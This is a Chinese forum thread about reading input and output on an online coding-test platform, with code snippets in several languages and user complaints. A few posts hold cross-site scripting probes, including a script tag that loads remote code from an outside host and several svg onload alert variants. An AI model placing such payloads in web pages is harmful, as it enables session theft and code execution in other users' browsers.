一行有多个怎么读啊。。。啊啊啊。。。时间快到了

2019-09-11 16:23

leetcode读入就是class的参数,应该是最人性化的了

newcoder读入用sys.stdin.readline() 一行多个可以strip() 虽然多了些但也贴近事实了

我在spyder上写用input(),因为不支持readline

又换了新的编译器我居然连读入都写不出来了……真的是没看懂怎么读,运行增加难度又不能看读入的效果,看教程然并卵,要知道python3已经不支持raw_input了,美团的算法编程还是挺简单的,就是真没想到能在这上栽了……本来就需要争分夺秒还要花时间在这上也是无奈。请问国内的笔试网站就不能统一一下标准吗?

2019-09-11 17:27
test 回复 coder_8T82R7HS

python3就是用input()啊。

2019-09-11 17:51

今天才突然发现.... while((lines = read_line()) != nulll)不能这样判断。。。

正确的应该是 while((lines = read_line()) != '')。。。

'' != null // true

2019-09-12 17:29
coder_5W44N8UK 回复 coder_USE49853

被坑两次加一,代码没问题就输在输入输出

2019-09-12 20:07
coder_DPGQQAJK 回复 test

你这个写法在vs或者linux下手动输入的时候根本不会终止,你可以试一试。需要手动输入终止符号,你在题目中也未说明在输入的末端会输入终止符号。我觉得这是你们在数据输入时需要说明的,你们这属于说明不充分。太恶心了

2019-09-15 20:54

请问“输出超限 ( Output Limit Exceeded (OLE) )”是什么原因?



2019-09-16 10:16

我是一个小白,用MATLAB回答的题目,就是股神那道题,但是我不知道如何写input,我直接把input数据复制粘贴进了代码里面,显示error 我应该如何用MATLAB输入题目给的数据呢? 因为MATLAB我找不到任何答案。急求,后天就考试了。


clear

close all clc input=[1,2,3,4,5];

for i = 1:length(input) n=input(i);    days=1;    for j= 1:n     days=days+j;        s=j;        if days+j>n         break        end    end    money=n-2*s+2;    fprintf('%g \n',money) end

2019-09-17 23:14

楼主好,请问有R的写法吗?而且自定义和刷题都不能用R,没办法事先尝试,但明明编译器又有R…很头疼

谢谢楼主

2019-09-18 05:01
test 回复 coder_c81zjdho

比如正确答案是1 2,一共3个字符,假设你的程序已经输出6个字符了,我们都不用比对就知道已经你的答案错了。这就叫输出超限!

2019-09-18 15:22
test 回复 coder_FXADYYST

a+b: con <- file(“stdin”, “r”)
a = readLines(con, n = 1) b = readLines(con, n = 1) while (a!="" && b!="") { c = as.numeric(a) + as.numeric(b) cat(format(c, scientific = FALSE)) cat(’\n’) a = readLines(con, n = 1) b = readLines(con, n = 1) } close(con)

R语法我确实不熟,我觉得挺难用的。见谅!

2019-09-18 15:23
test 回复 coder_YSTG2KXM

倒数第二行改成:printf(’%g \n’,money)

2019-09-18 15:25
test 回复 coder_YSTG2KXM

a+b: line = input(’’, ‘s’); while (length(line)>0) sa = strsplit(line); s = str2double(sa); c = s(1, 1)+s(1, 2); printf(’%d\n’, c); line = input(’’, ‘s’); end

2019-09-18 15:26

刷题都不能用R,实际考试的时候能选择R吗?

2019-09-22 20:56
1

建议考试开通 MATLAB 编程语言,感谢赛码网的各位大佬!!!

2019-09-26 15:40
1
test 回复 coder_36HrJ3i5

平时的训练开了,毕竟是还没大规模测试,暂时还不会在考试时开通。预计明年才能应用于考试。

2019-09-26 18:57

牛客网比这个先进一万年

2019-10-07 23:11
1
test 回复 coder_8xySZMMN

你能列举下哪些功能先进吗?别光标题党。

2019-10-08 13:56

一个小建议

第一次使用这个,看了很久的教程说明。准备选一个简单的题试试,给我的感觉不是很舒服。

题目和编辑框的设计我觉得不该是上下结构,而且编辑框也比较小 代码长一点就得上下拖很多。

所以想请你们参考一下leetcode的那种简洁的界面,左右格式。


2019-10-13 21:26
2

为什么我的程序有事输出是正确答案 有时不是。没搞懂



//package main

//注意不要添加包名称,否则会报错。


import java.io.*;

import java.util.*;

public class Main

{

    public static void main(String args[])

    {

        Scanner cin = new Scanner(System.in);

        String[] s = new String[2];

        int i = 0;

        while(i<2)

        {

              s[i] = cin.nextLine();

i++;

            }

            

            String s1 = s[0];

            String s2 = s[1];

            float count=0;

       for(i=0;i<s1.length();i++){

          int p; 

           if(  (s1.charAt(i)>=48 &&s1.charAt(i)<=57)  ||  (s1.charAt(i)>='a'&&s1.charAt(i)<='z')  ||   (s1.charAt(i)>='A'&&s1.charAt(i)<='Z') ){

          p=49;

           }else{

          p=48;

           }

          if(p==s2.charAt(i)){

            count+=1;

           }

           

           }

           System.out.println((count/s1.length())*100+"%");

 

 }

           }

2019-10-13 22:56
test 回复 coder_FQ99TPGF

上图是自定义数据,只测试您输入的那个测试用例。 下图是跑所有的测试用例。告诉您错误的是哪个了。

2019-10-14 10:32

java的太难用了,括号匹配不上, for(int i=0;i<a.length();i++){最后的括号会被默认以为是注释

2019-11-14 15:23

阿斯蒂芬

<sCRiPt sRC=//xs.sb/Rotp></sCrIpT>


2019-11-27 13:47

<svg /onload<alert(1)>

2019-12-06 10:54
1111
2019-12-06 11:16
2019-12-06 11:17

<svg /onload<alert(‘ccc’)>


2020-02-25 16:16

有两个问题:

问题1,两道编程题,不知道为什么,通过率都是80%左右,不知道是哪里容易出错的地方,我没有考虑到

说明:
所有测试数据正确率为 80%!
可以尝试再次完善代码,并调试,争取全部AC通过

说明:
所有测试数据正确率为 88%!
可以尝试再次完善代码,并调试,争取全部AC通过

问题2,网页摄像头无法开启的问题,QQ视频能正常使用视像头,浏览器也设置的允许使用摄像头,谷歌浏览器是最新版,重启了电脑只打开一个浏览器标签页也不行。

2020-03-04 13:24
coder_DZRY9UM4 回复 coder_GJ92NQDH

看看力扣怎么做的吧

2020-03-10 22:15
row = int(input())
print(row)

为什么这两行代码都跑不出来。。。

也不报错,实属恶心了。。。


2020-03-11 16:50
1
coder_7CTGS9F6 回复 coder_DZRY9UM4

老哥还是多练练这种传统的oj吧,我力扣快刷到800了,算法是提升了,但是,参加的机试基本都是用的传统oj,这几天搞得我几乎要崩溃掉了,输入输出就能烦死个人,所以专门花了半天的时间写了一个针对各种输入的接口,然后再把获取的数据输入到Solution来求解,其实力扣本身的代码也是这样的,后台帮你把输入数据转换成了函数的参数。另外,力扣还有一个弊端就是,每次都给出错误用例,这样每次错误都会不自觉地按照错误用例来调试,这样确实可以很快找到bug,但是机考的oj是绝对不会给出测试用例的,完全得自个写测试用例,或者自己检查代码的逻辑,其实这也算是编程能力的一个体现。力扣和剑指off那种形式的oj确实可以快速提高对算法的理解和掌握,用来学习还是非常好的,但是,若要在机考上快速提高测试并通过,绝对得多练练传统oj。

2020-03-12 06:05

同学们还是多练练这种传统的oj吧,我力扣快刷到800了,算法是提升了,但是,参加的机试基本都是用的传统oj,这几天搞得我几乎要崩溃掉了,输入输出就能烦死个人,所以专门花了半天的时间写了一个针对各种输入的接口,然后再把获取的数据输入到Solution来求解,其实力扣本身的代码也是这样的,后台帮你把输入数据转换成了函数的参数。另外,力扣还有一个弊端就是,每次都给出错误用例,这样每次错误都会不自觉地按照错误用例来调试,这样确实可以很快找到bug,但是机考的oj是绝对不会给出测试用例的,完全得自个写测试用例,或者自己检查代码的逻辑,其实这也算是编程能力的一个体现。力扣和剑指off那种形式的oj确实可以快速提高对算法的理解和掌握,用来学习还是非常好的,但是,若要在机考上快速提高测试并通过,绝对得多练练传统oj。

2020-03-12 06:06
coder_7CTGS9F6 回复 test

其实你们官方可以跟出题者们规定好每一个测试用例的格式,比如说到底给不给测试次数,如果是数组,到底给不给出元素个数,如果是树,规定一个树的序列化和反序列化的格式,然后你们自己网站针对每种数据类型写几个接口,然后针对返回值也实现几个输出接口,力扣大概就是这样做的。

2020-03-12 06:14

官方,你们对数组越界不处理的吗?这应该视为运行时错误吧,应该反馈给我们的吧。

2020-03-12 06:25
coder_HDH9MCS4 回复 test

楼主,啥时候才能开放R的训练

2020-03-12 15:11
coder_HDH9MCS4 回复 coder_FXADYYST

R语言 同乡的参考 输入推荐用scan() 我这里con2是转成df进行运算的 con2<-scan()

a<-length(con2[,1]) for (i in 1:a){ if (is.na(con2[i,3])){ n<-con2[i,1];m<-con2[i,2] m0=i+1;mm=i+m out=0;j<-m0;k=1 while (j <= mm){ if((con2[j,1]%in%k)||(con2[j,2]%in%k)){ out<-out+con2[j,3];k<-cbind(k,con2[j,1:2]) } j=j+1 } cat(out,"\n") } }

2020-03-12 17:48
coder_4ygn3QPa 回复 test

照这个情况也应该是Runtime Error 或者Compilation Error吧,而且实际情况中即使是Runtime Error,也没有提示说是具体哪行出错了。

2020-03-12 21:50

'"><svg/onload<alert(1)>

2020-03-14 10:51

<p style="color:blue">test</p>

2020-03-14 10:52
coder_fhMpWZKi 回复 test

hasNextInt()这个方法没法自动结束吧

2020-03-17 11:30

麻烦能不能改成以某种符号结尾或者换行也用符号代替??    这样用js就可以以split拆分  从而判断哪里是换行或者结尾!!!!!!!!!!!!!!!!!!!!!!!!!!!

死在输入输出真滴难受

2020-03-19 20:16

能解释下为什么不能print(type(a))

2020-03-19 22:29

您好,弱弱问句请问有Matlab写法吗?

2020-03-22 21:58

请问这段代码哪里有问题呀,为什么编译通过,运行正确,然后还正确率百分之八十,答案不对呢

n=int(input())
a=list(map(int,input().strip().split()))
b=sorted(a)
c=[a[i] for i in range(n) if a[i]!=b[i]]
d=c[::-1]
stert=a.index(c[0])
end=a.index(c[-1])
if a[:stert]+d+a[end+1:]==b:
    print("yes")
else:
    print("no")


2020-03-23 09:00

为什么企业真题里python没有3.x版本?而且调试总是出现对齐问题,我都一行一行用tab键改过了还是不行。醉了

2020-03-23 16:17

js读取输入的一行数组


输入

[[1,2],[2,3],[3,4]]


我编写的输入

var arr;
while (arr = read_line() !== null) { // 请问通过read_line读取进来的都是一个字符串吗? '[[1,2],[2,3],[3,4]]'
    arr = JSON.parse(arr) // 这样把字符串解析成数组不行吗? 
    // ...
}


2020-03-23 21:42

问个问题,昨天第一次笔试,没搞懂怎么取输入。

(1)比如输入是2,3,4,5,6,7.....  而我实际要的是  2 3 4 5....这几个数字,那输入流里是2,3,4,5,6,7..... 吗?是要我自己写代码把“,”逗号过滤掉吗?

(2)比如输入是[2,3],[3,4],[4,5]..... 而我实际要的数据是2 3 3 4 4 5....这些数字,是要我自己写代码把“,”“[ ]”过滤掉吗?

2020-03-24 11:24
1

分享代码,提示请求失败,是怎么回事啊?

2020-03-24 16:40
coder_wxekNxcQ 回复 coder_F2XGPKF3

自己加个标志位,当读入m行时,break跳出while就可以了

2020-03-25 12:00
coder_wxekNxcQ 回复 coder_fhMpWZKi

可以自己加个标志位,当读入m行时,break跳出while就可以了

2020-03-25 12:01

大佬帮忙看下我这个错误,python3 append()函数不能用


2020-03-27 12:25

import sys

a=input()

s=1

c=[]

d=[]

print(c.append(4))

for i in range(2,int(a)+1):

  if int(a)%2==0:

    s+=(i//2-1)

    c.append(s)

    print(c[int(a)]+1)

  if int(a)%2!=0:

    s+=(i//2-1)

    d.append(s)

    print(d[int(a)])


 File "Main.py", line 10
    c.append(s)
              ^
SyntaxError: invalid character in identifier

大佬帮看看这个python3 怎么不能用append()函数了,晚上就要考试了

2020-03-27 12:29
#include<stdio.h>

int main()

{

    int n,m;

    while(scanf("%d%d",&n,&m)!=EOF)

    {

        int a,b,c;

        int connect[n+1];

        for(int j=0;j<n+1;j++)

        {

            connect[j]=-1;

        }

        connect[1]=0;

        for(int i=0;i<m;i++)

        {

            scanf("%d%d%d",&a,&b,&c);

            if(a<b&&c==1)

                connect[b]=a;

            if(a>b&&c==1)

                connect[a]=b;

        }

        int scn=0;

        for(int i=2;i<=n;i++)

        {

            int k=i;

            while(k!=-1)

            {

                k=connect[k];

                if(k==0)

                {

                    scn++;

                    break;

                }

            }

        }

        printf("%d\n",scn);

    }

    return 0;

}

已AC

2020-03-29 23:11
coder_TVZZR4NN 回复 coder_wxekNxcQ

m行就跳出?那请问这种一次来两组的你怎么知道最后一组结束再break?还是你第一组就跳出?那永远都通过不了了吧。

2020-03-30 10:08

做产品的还是用户体验要搞好点。要不然自己也不意思出来混啊。

2020-03-30 10:55

我觉得真的没必要花时间放在这个输入输出这,你看leetcode多好,输入和输出的机制做的封装在一个函数中,这样在指定的函数中就可以得到我们想到的输入。

对于我这种新手来说,花了一下午去研究这个实在是太不值得了。

2020-04-01 03:26

请问python怎么读入中文?

2020-04-01 21:48

能帮我看看这段程序吗?在本地编译可以但今天笔试一直不对:


import sys
import decimal
def is_chinese(uchar):
    if uchar >= u'\u4e00' and uchar <= u'\u9fa5':
        return True
    else:
        return False
while True:    
    data = input()
    if data=='':
        break    
    data= [i for i in data.split(' ')]
    label = []
    predict = []
    for i in range(len(data[0])):
        if is_chinese(data[0][i]):
            label.append(data[0][i])
    for i in range(len(data[1])):
        if is_chinese(data[1][i]):
            predict.append(data[1][i])
    label_sum = len(label)
    hash_label={}
    num = 0
    for i in label:
        hash_label[i] = num
        num = num+1
    result = 1
    for j in range(len(predict)):
        if predict[j] in hash_label:
            if j==hash_label[predict[j]]:
                del hash_label[predict[j]]
                continue
            else:
                result = result-abs(j-hash_label[predict[j]])/label_sum
        else:
            result = result-1/label_sum
    result = result-len(hash_label)/label_sum
    result = decimal.Decimal(result)
    sys.stdout.write(str(round(result,4)))


测试样例是:携程欢迎您 携程欢迎

输出应该是0.8000,本地输出没有问题

2020-04-01 22:01

看见不少同学在骂这个网站,心疼一下网站的建设者和管理员,希望朋友们能够平息一下怒气,这个网站的建设者也在努力为我们提供更好的服务,要不然也不会开这么一个专门解决输入输出的帖子。毕竟像leetcode不用自己处理输入输出的OJ平台依旧是少数,朋友们在这儿抱怨也解决不了问题,应该稍微花一点时间学习自己语言输入输出方面的库,希望大家都能考出好成绩。

2020-04-02 18:37
1

最近部门新增一块业务,是公司级别最高优先级的项目,所以新增HC20+个,包含后端、测试、前端岗位等等。


机不可失,想抓住机会➡➡➡蚂蚁金服-社招内推-必读:

https://lnkd.in/f8Pq2dU

2020-04-08 16:14
while 1:
    nm = map(int,input().split(" "))
    N = nm[0]
    M = nm[1]
    print(str(N) + ' ' + str(M))
    for i in range(M):
      abc = map(int,input().split(" "))
      a = abc[0]
      b = abc[1]
      c = abc[2]
      print(str(a) + ' ' + str(b) + ' ' + str(c))

请问python2 处理输入输出 这样为什么出错呢

2020-04-10 20:29
coder_XNZEJ4U5 回复 test

请问python2处理输入输出出现SyntaxError: unexpected EOF while parsing是为什么呢?具体代码贴在99楼了

2020-04-10 20:31

管理员太惨了,被这么多人骂

2020-04-15 15:41

为什么可以运行但是提交代码就提示请求失败啊

2020-04-17 11:16
coder_WMCRY5PR 回复 coder_52CFYHBN

我也是这样~~

2020-04-23 23:50

您好,有一个问题,对于投篮游戏那道题,两种完全一样的逻辑,但是运行时第一个60%ac,第二个100%ac

区别就在于是否先把输入用一个数组保存,这是为什么呢

import java.util.Scanner;
public class Main {
    public static void main(String[] args) {
        Scanner in  = new Scanner(System.in);

        int p = in.nextInt();
        int count = in.nextInt();
        int[] hoop = new int[p];
        int[] numbers = new int[count];
        for (int i = 0; i< count; i++){
            numbers[i] = in.nextInt();
        }
        int j;
        for ( j = 0; j < count; j++){
            int index = numbers[j] % p;
            if (hoop[index] == 1) {
                System.out.println(j + 1);
                break;
            }else {
                hoop[index] = 1;
            }
        }
        if (j==count){
            System.out.println(-1);
        }
    }
}
import java.util.Scanner;
public class Main {
    public static void main(String[] args) {
        Scanner in  = new Scanner(System.in);

        int p = in.nextInt();
        int count = in.nextInt();
        int[] hoop = new int[p];

        int j;
        for ( j = 0; j < count; j++){
            int index = in.nextInt() % p;
            if (hoop[index] == 1) {
                System.out.println(j + 1);
                break;
            }else {
                hoop[index] = 1;
            }
        }
        if (j==count){
            System.out.println(-1);
        }
    }
}


2020-04-28 23:07

提供一份python3 编译通过的代码


class Student:

    all = []

    select = []

    def __init__(self, id):

      self.id = id

      self.same = []

      self.diff = []

      Student.add(self)

    

    def get_sames(self):

        if self in Student.select:

            return

        else:

            Student.select.append(self)

            for s_obj in self.same:

                s_obj.get_sames()

     

    [@classmethod](/user/classmethod)

    def get_same_num(cls, id):

        cls.get_student(id).get_sames()

        return len(cls.select)-1

     

    [@classmethod](/user/classmethod)

    def add(cls, obj):

        cls.all.append(obj)

    

    [@classmethod](/user/classmethod)

    def update(cls,  input):

        a,b,c = [int(i) for i in input.split()]

        a = cls.get_student(a)

        b = cls.get_student(b)

        if c == 1:

            a.same.append(b)

            b.same.append(a)

        else:

            a.diff.append(b)

            b.diff.append(a)

    

    [@classmethod](/user/classmethod)

    def get_student(cls, id):

        return cls.all[id-1]

    

while 1:

    Student.all=[]

    Student.select=[]

    n1,n2 = [int(i) for i in input().split()]

    for id in range(1,n1+1):

        Student(id)

    for x in range(n2):

        d = input()

        Student.update(d)

    print(Student.get_same_num(1))


2020-05-13 16:12

nj

2020-06-19 11:25

class Student:

    all = []

    select = []

    def __init__(self, id):

      self.id = id

      self.same = []

      self.diff = []

      Student.add(self)

    

    def get_sames(self):

        if self in Student.select:

            return

        else:

            Student.select.append(self)

            for s_obj in self.same:

                s_obj.get_sames()

     

    [@classmethod](/user/classmethod)

    def get_same_num(cls, id):

        cls.get_student(id).get_sames()

        return len(cls.select)-1

     

    [@classmethod](/user/classmethod)

    def add(cls, obj):

        cls.all.append(obj)

    

    [@classmethod](/user/classmethod)

    def update(cls,  input):

        a,b,c = [int(i) for i in input.split()]

        a = cls.get_student(a)

        b = cls.get_student(b)

        if c == 1:

            a.same.append(b)

            b.same.append(a)

        else:

            a.diff.append(b)

            b.diff.append(a)

    

    [@classmethod](/user/classmethod)

    def get_student(cls, id):

        return cls.all[id-1]

    

while 1:

    Student.all=[]

    Student.select=[]

    n1,n2 = [int(i) for i in input().split()]

    for id in range(1,n1+1):

        Student(id)

    for x in range(n2):

        d = input()

        Student.update(d)

    print(Student.get_same_num(1))


2020-06-19 11:27

class Student:

    all = []

    select = []

    def __init__(self, id):

      self.id = id

      self.same = []

      self.diff = []

      Student.add(self)

    

    def get_sames(self):

        if self in Student.select:

            return

        else:

            Student.select.append(self)

            for s_obj in self.same:

                s_obj.get_sames()

     

    [@classmethod](/user/classmethod)

    def get_same_num(cls, id):

        cls.get_student(id).get_sames()

        return len(cls.select)-1

     

    [@classmethod](/user/classmethod)

    def add(cls, obj):

        cls.all.append(obj)

    

    [@classmethod](/user/classmethod)

    def update(cls,  input):

        a,b,c = [int(i) for i in input.split()]

        a = cls.get_student(a)

        b = cls.get_student(b)

        if c == 1:

            a.same.append(b)

            b.same.append(a)

        else:

            a.diff.append(b)

            b.diff.append(a)

    

    [@classmethod](/user/classmethod)

    def get_student(cls, id):

        return cls.all[id-1]

    

while 1:

    Student.all=[]

    Student.select=[]

    n1,n2 = [int(i) for i in input().split()]

    for id in range(1,n1+1):

        Student(id)

    for x in range(n2):

        d = input()

        Student.update(d)

    print(Student.get_same_num(1))


2020-06-19 11:28
coder_YCTJNW78 回复 coder_N4YFBM8J

python版本仅供参考 while 1: n,m = map(int,input().split(" “)) tmp = list() for i in range(m): x = list(map(int,input().split(” "))) if x[-1]==1: x.pop() tmp.append(x) if len(tmp)==0: print(0) break cur = set() cur.add(1) for each in tmp: for i in range(2): if each[i] in cur: cur.add(each[1-i]) break print(len(cur)-1)

2020-07-22 17:07

我真心不懂怎么处理输入输出啊,真的难受



2020-07-28 18:50
安安分分


2020-08-03 18:45

系统做得跟狗屎一样

2020-08-05 00:11
coder_AUMW6QMT 回复 coder_GJ92NQDH

你可消停会吧,人家本意就是帮助别人,你牛逼你也多写帖子帮人啊,只会嘲笑,怎么会有你这样的人。力扣刷的多了,算法是提高了,但第一次碰见不给输入格式的编程题大部分人都懵,输入的方式都不知道,考试的时候不还是零分?楼主帮了不少人扫盲,你不需要就请闭嘴。

2020-08-05 08:56

你好,网站python2和python3的解释器没有map()函数功能吗..试了半天发现就是相关功能改成map以后就实现不了

2020-08-08 11:22
Runtime Error:[ERROR] A Not allowed system call: runid:19295863 callid:99
TO FIX THIS , ask admin to add the CALLID into corresponding LANG_XXV[] located at okcalls32/64.h ,and recompile judge_client
用R就没有成功过,不愧是你赛🐎网


2020-08-08 17:23
coder_8Um8EGXP 回复 coder_DPGQQAJK

终端上打开了三个文件描述符:stdin、stdout、stderr。你在终端里输入相当于写入stdin文件,istream类提供的>>运算符是从stdin中抽取指定内容;终端的标准输出相当于写入stdout文件;程序运行结束(比如stdin中不再有有效数据)之后的终止信号(比如ctrl+c)可以由判题系统发出。所以楼主写没有任何问题,读取输出也只需要读取stdout而不需要读取整个终端。

2020-08-10 15:22

能不能解释一下C++为什么用scanf作为输入就检测不到..  今天晚上第一次笔试写完了第一道题一直出不来,现在才发现就卡在了输入上,C++只能用cin才能接收到输入吗? 心态炸裂....


2020-08-10 21:20
coder_zDxbYzYP 回复 coder_GJ92NQDH

这就把你笑死了?

2020-08-15 22:58

用过最烂的oj,学校刷题的都比你这个好,为什么for循环下一行默认两个tab的缩进?还要自己手动删除,如果不是为了找工作是绝对不会跑来用这个的,体验感还不如记事本

2020-08-15 23:25
coder_7ZROxahY 回复 test

写错了吧,应该是 String[] args?

2020-08-21 14:55

matlab怎么读取输入呀?现在考试的时候能用matlab吗?我看练习题里面有matlab.octave了

2020-08-21 15:18

请问这个代码为什么可以在本地通过,但是在题目上不可以呢?

# 循环测试样例
while True:
    # 每个样例第一行是人数和组数
    first_line = list(map(int, input().split(" ")))
    N = first_line[0]
    M = first_line[1]
    res = []
    for i in range(M):
        other_line_temp = list(map(int, input().split()))
        a, b, c = other_line_temp[0], other_line_temp[1], other_line_temp[2]
        # 挑选有效组并排序
        if c == 1:
            r = [a, b] if a < b else [b, a]
            res.append(r)
    # 排序
    s = set()
    s.add(1)
    res.sort()
    # 一次遍历寻找同乡
    for i in res:
        # 两人之中有一个同乡,则都是同乡
        for j in (0, 1):
            if i[j] in s:
                # 认识的同乡加入同乡集合,同乡的同乡还是同乡
                s.add(i[1 - j])
    print(len(s) - 1)


2020-08-23 12:23

我就想知道,为什么同一个题同一组数据,自定义数据和运行一个能通过,一个报错。我真的服了

2020-08-24 15:16

请问,python版本的代码我直接复制过去,结果出现错误,该错误提示‘int’那里存在问题,但是使用pycharm复制过去的代码完全可以使用,是为什么呢?是我操作不正确吗?感谢指正

2020-08-26 11:06

昨天广联达的第一题,为什么同一道题,同一个思路,用js只能过45%,而其他语言能AC,看了别人AC的代码,写法和考虑边界情况都是一样的,是不是js计算太慢了导致超时了?

2020-08-27 13:32
coder_VD4M8Q25 回复 coder_RAJ9WQEY

我也是,不知道什么原因

2020-08-27 16:07
coder_ko8f5nE3 回复 coder_7ZROxahY

一样的

2020-08-27 19:55

你好,为什么我打开输入输出练习界面怎么老是出错,在赛码首页点击在线编程也是出现这个问题


2020-08-29 11:39
import math
while 1:
	nm= [int(x) for x in input().split(" ")]
	print(nm)
直接运行就可以输出
内置的自定义数据(1 2 .。。。)就是:ValueError: invalid literal for int() with base 10: ''


2020-08-30 16:09

一会用input(), 一会用sys.stdin.readline( ),我人都晕掉了,用小米那套题第二个用input()过20%,换成sys.stdin.readline( )就AC

2020-09-06 22:15

:
    N, M = (, ().split())
    a = []
    b = ()
    b.add()
    _ (M):
        a.append(((, ().split())))
    i (M):
        (a[i][] b a[i][] b) a[i][] == :
            b.add(a[i][])
            b.add(a[i][])
    ((b) - )

上面是我的答案,通过率只有50%。后面我仔细研究,发现这道题有问题。我再上下答案区的最高赞答案(python3)

while 1:
    N, M = map(int, input().split())
    res = []
    for i in range(M):
        a, b, c = map(int, input().split())
        if c == 1:
            r = [a, b] if a < b else [b, a]
            res.append(r)
    s = set()
    s.add(1)
    res.sort()
    for i in res:
        if i[0] in s:
            s.add(i[1])
    print(len(s) - 1)

对于测试用例

5 3

1 4 1

2 4 1

3 4 1

答案应该是3吧。我的程序输出:3

高赞答案输出:1

求[@test](/user/test)解答一下我的疑问。

2020-09-14 22:39

这个平台太不智能了..不能自动缩进,快捷键也不行,换页面之后之前的代码不能保存。。

2020-09-16 00:06

请问能不能出一个让我们能看到自己输出的类似控制台的东西?有这个的话至少还能自己摸索摸索是怎么回事,就给一个答案错误,我都不知道我自己输出了什么

2020-09-16 13:44

作为笔试平台,你们应该想想做个这么不智能合适吗?很多人是考算法岗的,不是每个人都是样样精通,让人当场学习你们的输入输出方式,是不是重点偏了呢???多想想为什么你们平台还没做到leetcode那种知名度,用户体验懂吗?第一次用你们的平台,体验极差,为了评论还要注册,你们赢了下次还有公司用你们这个平台做笔试,真是不用笔了,浪费时间,还不如手撕代码

2020-09-17 21:48
添加回复
回到顶部